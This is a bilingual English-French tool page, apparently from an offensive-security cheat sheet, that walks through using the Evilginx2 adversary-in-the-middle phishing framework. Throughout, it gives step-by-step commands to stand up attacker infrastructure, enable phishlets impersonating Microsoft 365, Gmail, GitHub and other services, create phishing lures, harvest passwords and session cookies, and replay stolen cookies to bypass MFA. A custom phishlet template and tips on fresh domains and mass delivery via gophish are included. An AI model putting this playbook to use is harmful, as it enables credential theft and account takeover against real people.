Evilginx2

Framework de phishing adversary-in-the-middle. Fait office de proxy pour de vrais sites web afin de capturer les identifiants ET les cookies de session, contournant le MFA/2FA sur n'importe quel site. Adversary-in-the-middle phishing framework. Proxies real websites to capture credentials AND session cookies, bypassing MFA/2FA on any website.

↗ https://github.com/kgretzky/evilginx2

Overview

Evilginx2 is an MITM framework for phishing that proxies the real target website through an attacker-controlled server. Victims interact with the real site, but Evilginx captures credentials AND authenticated session cookies — effectively bypassing TOTP, SMS, and push-based MFA.

Infrastructure Setup

Requirements:
- A VPS with a public IP
- A domain name (e.g., attacker-domain.com)
- DNS: point *.attacker-domain.com → VPS IP
- Port 443 and 80 open
# Install
git clone https://github.com/kgretzky/evilginx2
cd evilginx2
make

Or download binary release

./evilginx2

Configuration

# Set your phishing domain and external IP
: config domain attacker-domain.com
: config ip ATTACKER_IP

Set external IPv4 (used in auto-DNS)

: config unauth_url https://attacker-domain.com

Verify config

: config

Working with Phishlets

List available phishlets (built-in ones for major services)

: phishlets
# Enable a phishlet (this auto-configures SSL via Let's Encrypt)
: phishlets hostname o365 login.attacker-domain.com
: phishlets enable o365

List enabled phishlets

: phishlets

Disable

: phishlets disable o365

Create a lure for a phishlet

: lures create o365

Get the phishing URL

: lures get-url 0

Customize redirect URL (where victim goes after capture)

: lures edit 0 redirect_url https://legitimate-site.com

Set custom path

: lures edit 0 path /login

List all lures

: lures

Viewing Captured Sessions

List captured sessions

: sessions

View specific session (shows credentials + cookies)

: sessions 1
# Sessions include:
# - Username / Email
# - Password
# - Session cookies (JSON format for cookie import)

Importing Captured Cookies

# After capturing cookies:
# 1. Copy the session token JSON from : sessions N
# 2. Use browser extension (e.g., EditThisCookie) to import
# 3. Navigate to the target site — you're logged in (MFA bypassed)

# Alternative: use Python/requests with the cookie to automate

Built-in Phishlets

Common phishlets available in evilginx2:

  • o365 — Microsoft 365 / Outlook
  • gmail — Google / Gmail
  • linkedin — LinkedIn
  • facebook — Facebook
  • twitter — Twitter/X
  • github — GitHub

Custom phishlets can be written in YAML.

Phishlet File Structure (Custom)

name: 'example'
proxy_hosts:
  - phish_sub: 'login'
    orig_sub: 'login'
    domain: 'example.com'
    session: true
    is_landing: true

auth_tokens:
  - domain: '.example.com'
    keys: ['session_token']

credentials:
  username:
    key: 'username'
    search: 'username=([^&]*)'
    type: 'post'
  password:
    key: 'password'
    search: 'password=([^&]*)'
    type: 'post'

Tips

  • Evilginx2 works regardless of MFA type — it captures the post-MFA session cookie
  • Domain must have wildcard DNS configured before starting
  • Use privacy-focused domain registrars and fresh domains for better deliverability
  • Combine with gophish for large-scale email delivery of the lure URL
Key commands reference
: config domain <domain>     Set phishing domain
: config ip <ip>             Set external IP

: phishlets                  List phishlets
: phishlets hostname <name> <hostname>  Set phishlet hostname
: phishlets enable <name>    Enable phishlet (generates SSL cert)
: phishlets disable <name>   Disable phishlet

: lures create <phishlet>    Create a lure
: lures get-url <id>         Get phishing URL
: lures edit <id> <key> <val>  Edit lure setting
: lures                      List lures

: sessions                   List captured sessions
: sessions <id>              View session details
: sessions delete <id>       Delete session

: help                       Show help

Vue d’ensemble

Evilginx2 est un framework MITM pour le phishing qui fait transiter le vrai site web cible via un serveur contrôlé par l’attaquant. Les victimes interagissent avec le vrai site, mais Evilginx capture les identifiants ET les cookies de session authentifiés, contournant ainsi efficacement le MFA basé sur TOTP, SMS, ou push.

Mise en place de l’infrastructure

Prérequis :
- Un VPS avec une IP publique
- Un nom de domaine (par exemple, attacker-domain.com)
- DNS : faire pointer *.attacker-domain.com → IP du VPS
- Ports 443 et 80 ouverts
# Installer
git clone https://github.com/kgretzky/evilginx2
cd evilginx2
make

Ou télécharger le binaire de la release

./evilginx2

Configuration

# Définir votre domaine de phishing et votre IP externe
: config domain attacker-domain.com
: config ip ATTACKER_IP

Définir l’IPv4 externe (utilisée dans le DNS automatique)

: config unauth_url https://attacker-domain.com

Vérifier la configuration

: config

Travailler avec les phishlets

Lister les phishlets disponibles (intégrés pour les principaux services)

: phishlets
# Activer un phishlet (configure automatiquement le SSL via Let's Encrypt)
: phishlets hostname o365 login.attacker-domain.com
: phishlets enable o365

Lister les phishlets activés

: phishlets

Désactiver

: phishlets disable o365

Créer des leurres (liens de phishing)

Créer un leurre pour un phishlet

: lures create o365

Obtenir l’URL de phishing

: lures get-url 0

Personnaliser l’URL de redirection (où va la victime après la capture)

: lures edit 0 redirect_url https://legitimate-site.com

Définir un chemin personnalisé

: lures edit 0 path /login

Lister tous les leurres

: lures

Consulter les sessions capturées

Lister les sessions capturées

: sessions

Voir une session spécifique (affiche identifiants + cookies)

: sessions 1
# Les sessions incluent :
# - Nom d'utilisateur / e-mail
# - Mot de passe
# - Cookies de session (format JSON pour l'import de cookies)

Importer les cookies capturés

# Après avoir capturé des cookies :
# 1. Copier le JSON du token de session depuis : sessions N
# 2. Utiliser une extension de navigateur (par exemple EditThisCookie) pour l'importer
# 3. Naviguer vers le site cible : vous êtes connecté (MFA contourné)

# Alternative : utiliser Python/requests avec le cookie pour automatiser

Phishlets intégrés

Phishlets courants disponibles dans evilginx2 :

  • o365 : Microsoft 365 / Outlook
  • gmail : Google / Gmail
  • linkedin : LinkedIn
  • facebook : Facebook
  • twitter : Twitter/X
  • github : GitHub

Des phishlets personnalisés peuvent être écrits en YAML.

Structure de fichier phishlet (personnalisé)

name: 'example'
proxy_hosts:
  - phish_sub: 'login'
    orig_sub: 'login'
    domain: 'example.com'
    session: true
    is_landing: true

auth_tokens:
  - domain: '.example.com'
    keys: ['session_token']

credentials:
  username:
    key: 'username'
    search: 'username=([^&]*)'
    type: 'post'
  password:
    key: 'password'
    search: 'password=([^&]*)'
    type: 'post'

Conseils

  • Evilginx2 fonctionne quel que soit le type de MFA : il capture le cookie de session post-MFA
  • Le domaine doit avoir un DNS wildcard configuré avant le démarrage
  • Utilisez des registrars de domaine axés sur la confidentialité et des domaines récents pour une meilleure délivrabilité
  • Combinez avec gophish pour l’envoi d’e-mails à grande échelle contenant l’URL du leurre
Référence des commandes clés
: config domain <domain>     Set phishing domain
: config ip <ip>             Set external IP

: phishlets                  List phishlets
: phishlets hostname <name> <hostname>  Set phishlet hostname
: phishlets enable <name>    Enable phishlet (generates SSL cert)
: phishlets disable <name>   Disable phishlet

: lures create <phishlet>    Create a lure
: lures get-url <id>         Get phishing URL
: lures edit <id> <key> <val>  Edit lure setting
: lures                      List lures

: sessions                   List captured sessions
: sessions <id>              View session details
: sessions delete <id>       Delete session

: help                       Show help